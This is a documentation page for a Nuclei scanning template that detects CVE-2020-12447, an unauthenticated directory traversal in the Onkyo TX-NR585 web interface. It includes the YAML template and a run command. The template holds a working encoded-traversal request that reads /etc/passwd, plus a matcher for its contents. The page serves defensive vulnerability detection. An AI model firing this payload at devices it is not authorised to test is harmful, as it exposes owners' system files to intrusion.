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Nuclei Templates

Onkyo TX-NR585 Web Interface - Directory Traversal

ID: CVE-2020-12447

Severity: high

Author: 0x_Akoko

Tags: cve,cve2020,onkyo,lfi,traversal

Description

Section titled “Description”

Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.

YAML Source

Section titled “YAML Source”
id: CVE-2020-12447


info:
  name: Onkyo TX-NR585 Web Interface - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: Onkyo TX-NR585 1000-0000-000-0008-0000 devices allows remote unauthenticated users on the network to read sensitive files via %2e%2e%2f directory traversal and local file inclusion.
  impact: |
    An attacker can access sensitive files on the system, potentially leading to unauthorized access, information disclosure, or further exploitation.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the directory traversal vulnerability.
  reference:
    - https://blog.spookysec.net/onkyo-lfi
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12447
    - https://blog.spookysec.net/onkyo-lfi/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12447
    cwe-id: CWE-22
    epss-score: 0.01711
    epss-percentile: 0.8752
    cpe: cpe:2.3:o:onkyo:tx-nr585_firmware:1000-0000-000-0008-0000:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: onkyo
    product: tx-nr585_firmware
  tags: cve,cve2020,onkyo,lfi,traversal


http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
# digest: 4a0a0047304502201277e2b84f2e4bea1632df073c21f7c4cd81ef55ccfb4727726ee7e1ec8bd340022100bb2fb5f92eadedcbe7eb1680c7ffcda497323a554395e56213ec35e70bcd65fa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-12447.yaml"

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